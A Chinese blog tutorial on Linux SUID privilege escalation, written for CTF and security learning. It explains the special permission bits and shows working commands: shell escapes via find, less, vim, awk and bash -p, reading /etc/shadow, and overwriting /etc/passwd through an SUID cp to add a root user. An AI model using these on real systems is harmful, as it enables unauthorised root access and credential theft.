AI 摘要(由 ChatGPT 总结生成):
文章总结了Linux中的SUID提权手法,包括SUID、SGID和SBIT权限的解释,以及这些权限的设置方法。文章列举了常见的可利用文件,如Nmap、find命令、more/less命令、nano命令等,通过它们进行提权操作。此外,文章还提及了一些不常见的命令,如awk、time、dmesg、env等,它们也可以被利用执行命令。最后,文章强调了防范措施,建议系统管理员注意检查具有SUID权限的可执行文件,以确保系统的安全性。

前言

有关 SUID 提权手法在打 CTF 的时候就遇到过,现在已过去有很长一段时间了,近段时间又遇到了相关问题,现对该提权手法来做个系统性的总结吧。

SUID & SGID & SBIT

SUID

SUID(Set UID)是 Linux 中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有 SUID 权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是 SUID 权限的设置只针对二进制可执行文件,对于非可执行文件设置 SUID 没有任何意义。在可执行文件执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。

SGID

SGID(Set GID)和 SUID 类似,执行者可通过 SGID 权限在执行某个程序时,获得该程序所属组的权限,而不是执行者所在的组的权限。通常,SGID 权限用于一些需要共享访问权限的目录,比如一个共享的工作目录。

SBIT

SBIT(Sticky BIT)粘滞位,该权限通常用于某些共享的目录,它可以防止普通用户删除其他用户创建的文件。也就是说,一旦一个目录被设置了 SBIT 权限,只有该目录的所有者和 root 用户才能删除该目录中的文件。这样可以避免其他用户意外删除其他用户创建的文件,保证了文件的安全性和完整性。

权限的设置

在提权步骤前,我们先了解一下如何设置 SUID 标志位。上述的 SUID、SGID、SBIT 可通过八进制数字方式来设置这三个特殊权限。三个权限对应的数字分别是:

  • SUID:4
  • SGID:2
  • SBIT:1

假设要为一个文件设置权限 -rwsr-xr-x 时,由于 s 在所有者权限的执行位上,因此在原先的 755 之前加上 4 即可,即使用 chmod 4755 filename 来设置,如下所例:

kali@kali:/tmp$ ll ./busybox_x86_64 
-rwxr-xr-x 1 root root 2222408 2021年 8月 4日 ./busybox_x86_64

kali@kali:/tmp$ sudo chmod 4755 ./busybox_x86_64

kali@kali:/tmp$ ll ./busybox_x86_64
-rwsr-xr-x 1 root root 2222408 2021年 8月 4日 ./busybox_x86_64

kali@kali:/tmp$ 

此外,也可以通过符号法来设置三个特殊权限,其中 SUID 为 u+s ,SGID 为 g+s,SBIT 则是 o+t,此处不在概述。

三者总体关系如下表:

名称SUIDSGIDSBIT
出现位置--▋ --- ------ --▋ ------ --- --▋
字符表示S sS sT t
八进制表示421

查找 SUID 文件

利用 SUID 提权的思路就是:某个文件设置了 SUID 标志,而且还能执行命令,便能够进行提权操作。

那么我们可以在一个系统中使用下述命令查找当前系统上文件属主为 root 并且拥有 SUID 权限的可执行文件:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

上述命令参数相关说明如下:

  • -user :指定文件拥有者
  • -perm :文件权限
  • -exec :执行系统命令

可以查出来的相关命令举例如下:

[yang@localhost ~]$ find / -user root -perm -4000 -print 2>/dev/null
/usr/bin/pkexec
/usr/bin/mount
/usr/bin/passwd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/crontab
/usr/bin/at
/usr/bin/staprun
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/chage
/usr/bin/chfn
/usr/bin/su
/usr/libexec/dbus-1/dbus-daemon-launch-helper
/usr/sbin/userhelper
/usr/sbin/unix_chkpwd
/usr/sbin/pam_timestamp_check
/usr/sbin/usernetctl
[yang@localhost ~]$ 
更多有关 SUID 的可以看GTFOBins

可利用文件总结

Nmap(已失效)

网络上的教程说 Nmap 在 2.02-5.21 版本存在交互模式,可利用提权(此处我的 Nmap 版本为 7.92 ,无法复现,故简单说明下)。相关操作如下:

进入 Nmap 交互模式:

nmap --interactive

之后利用命令进行提权:

nmap> !sh

sh-3.2# whoami
root

为了安全性,后续的 Nmap 的这个机制已经弃用。然后网上文章有说明较新版可使用 --script 参数:

[yang@localhost ~]$ ll /usr/local/bin/busybox-x86_64 
-rwsr-xr-x 1 root root 1001112 Aug  5  2020 /usr/local/bin/busybox-x86_64

[yang@localhost ~]$ echo "os.execute('/usr/local/bin/busybox-x86_64 sh')" > ./shell.nse

[yang@localhost ~]$ cat ./shell.nse 
os.execute('/usr/local/bin/busybox-x86_64 sh')

[yang@localhost ~]$ nmap --script=./shell.nse
Starting Nmap 7.92 ( https://nmap.org ) at 2023-05-21 21:35 CST
~ $ id
uid=1005(yang) gid=1005(yang) groups=1005(yang)

此路基本行不通了。

find 命令

find 是个比较常用的命令,find 用来在系统中查找文件。通常很少谈到它也有执行系统命令的功能。 因此,如果配置为使用 SUID 权限运行,则可以通过 find 执行的命令,并且都将以 root 身份去运行。但是现在很多系统上 find 命令默认没有 SUID 权限:

[root@localhost bin]# which find
/usr/bin/find

[root@localhost bin]# ll /usr/bin/find
-rwxr-xr-x. 1 root root 199304 Oct 31  2018 /usr/bin/find

[root@localhost bin]# 

可见无 suid 权限,所以这里为了演示,我赋予一下 find 命令 suid 权限并尝试执行命令:

[yang@tx3_yang ~]$ whoami
yang

[yang@tx3_yang ~]$ touch test_file.txt

[yang@tx3_yang ~]$ find ./test_file.txt -exec whoami \;
root

[yang@tx3_yang ~]$ 

可见成功提权,此处可再次尝试执行 /bin/sh 一下:

[yang@tx3_yang ~]$ find ./test_file.txt -exec /bin/sh -p \;
sh-4.2# whoami
root
sh-4.2# cat /etc/shadow
root:$1$sxxxxxxxxxxxxxxIm/:19089:0:99999:7:::
bin:*:17834:0:99999:7:::
daemon:*:17834:0:99999:7:::
adm:*:17834:0:99999:7:::
……

成功读取 /etc/shadow 文件。

more/less 命令

more 和 less 是读取文件命令,若该两个命令设置了 SUID 权限,则进入交互界面,输入:

!/bin/sh

接下来进入终端环境(此处未对相关命令设置 SUID 权限,所以只有普通用户权限):

[yang@tx3_yang ~]$ cat test_file.txt 
[yang@tx3_yang ~]$ less test_file.txt 
sh-4.2$ whoami
yang
sh-4.2$ 

more 命令同理。

nano 命令

利用 nano 这种比较古老的文本编辑器进入 shell 交互界面就比较简单了,命令如下:

nano
ctrl + R
ctrl + X
#shell命令

由于此处 nano 命令无 SUID 权限,故只有普通用户权限:
image-20230521220608414

cp/mv 命令

cpmv 命令的提权方式主要是覆写文件实现。此处网上文章较少,故自己研究并实操了一下:

# 先使用 openssl 生成一个 test 用户的哈希, 密码为 test_suid
kali@kali:/tmp$ openssl passwd -1 -salt test test_suid
$1$test$Fab1QTKuMwtt.Wy36EU7y0

# 此处先将 /etc/passwd 读取一份到当前文件目录,然后将上述的密码对按格式写入当前文件
kali@kali:/tmp$ cat /etc/passwd > ./passwd
kali@kali:/tmp$ echo 'test:$1$test$Fab1QTKuMwtt.Wy36EU7y0:0:0::/root/:/bin/sh' >> passwd

# 再利用含有 SUID 权限的 cp 命令将当前目录下的 passwd 覆写 /etc/passwd 
kali@kali:/tmp$ cp -f ./passwd /etc/passwd

 # 切换预设的 test 用户并输入密码完成提权
kali@kali:/tmp$ su - test                                                                    
密码: 
# id
uid=0(root) gid=0(root) 组=0(root)
# exit

kali@kali:/tmp$ 

mv 命令也是同理方法,此处不具体概述。

vi/vim 命令

这两个命令和上述的 nano 命令提权类似,也是调命令执行:

kali@kali:/tmp$ vim ./passwd
# 然后在文本页输入:!/bin/sh 即可进入终端,此处的 vim 无 SUID 权限,故为普通用户权限

$ whoami
kali
$ 

bash/sh 命令

bash 或 sh 命令有的环境里可能设置了 SUID 权限,常见的情况就是打 CTF 的时候了。

此处我的机器该命令无 SUID 权限,故就简单说明一下:

# 在当前终端生成一个 bash 终端
bash -p

若 bash 命令有 SUID 权限位,则也会提权至 root,此处不在演示。

awk 命令

awk 利用以下命令进入shell,若 awk 设置了 SUID 权限位,则会提权至 root ,此处不在演示:

kali@kali:/tmp$ awk 'BEGIN {system("/bin/sh")}'
$ whoami
kali
$ exit

time 命令

该命令是统计给定命令所花费的总时间,故也能执行命令操作:

kali@kali:/tmp$ time whoami  
kali

real    0.00s
user    0.00s
sys    0.00s
cpu    86%
                                                                                                                                                                                                                 
kali@kali:/tmp$ 

dmesg 命令

dmesg 命令被用于检查和控制内核的环形缓冲区。kernel 会将开机信息存储在 ring buffer 中。您若是开机时来不及查看信息,可利用dmesg 来查看。开机信息保存在 /var/log/dmesg 文件里。

该命令进入命令行模式,!command 执行命令,如下所示:

kali@kali:/tmp$ dmesg -H
[5月19 22:00] Linux version 6.1.0-kali9-amd64 (devel@kali.org) (gcc-12 (Debian 12.2.0-14) 12.2.0, GNU ld (GNU Binutils for Debian) 2.40) #1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1kali1 (2023-05-12)
[  +0.000000] Command line: BOOT_IMAGE=/boot/vmlinuz-6.1.0-kali9-amd64 root=UUID=ea15ea92-0b42-4db4-bb97-b4e86a29542a ro quiet splash
…………
[  +0.000304] last_pfn = 0xc0000 max_arch_pfn = 0x400000000
!whoami
kali
!done  (press RETURN)

env 命令

该命令是显示系统中已存在的环境变量,但也可以用来执行命令,如下:

kali@kali:/tmp$ env whoami                                                                
kali


kali@kali:/tmp$ 

flock 命令

flock 是 Linux 的文件锁命令。可以通过一个锁文件,来控制在 shell 中逻辑的互斥性。

该命令执行命令方式如下:

kali@kali:/tmp$ flock -u / whoami
kali


kali@kali:/tmp$ 

ionice 命令

ionice 命令是获取或设置程序的 IO 调度与优先级。但也可以用来执行命令:

kali@kali:/tmp$ ionice whoami                        
kali


kali@kali:/tmp$ 

nice 命令

nice 命令主要用于修改程序的优先级。该命令同上述的 ionice 命令,也可以用来执行命令:

kali@kali:/tmp$ nice whoami                            
kali


kali@kali:/tmp$ 

防范

SUID 提权由来已久,属于一种古早的提权技术,但其生命力经久不衰。平时系统管理员多注意特殊的具有 SUID 权限的可执行文件,分析其是否安全,点对点突破基本就 OK 了。

End

本文标题:Linux SUID提权那些事

本文链接:https://www.isisy.com/1475.html

除非另有说明,本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议

声明:转载请注明文章来源。

如果觉得我的文章对你有用,请随意赞赏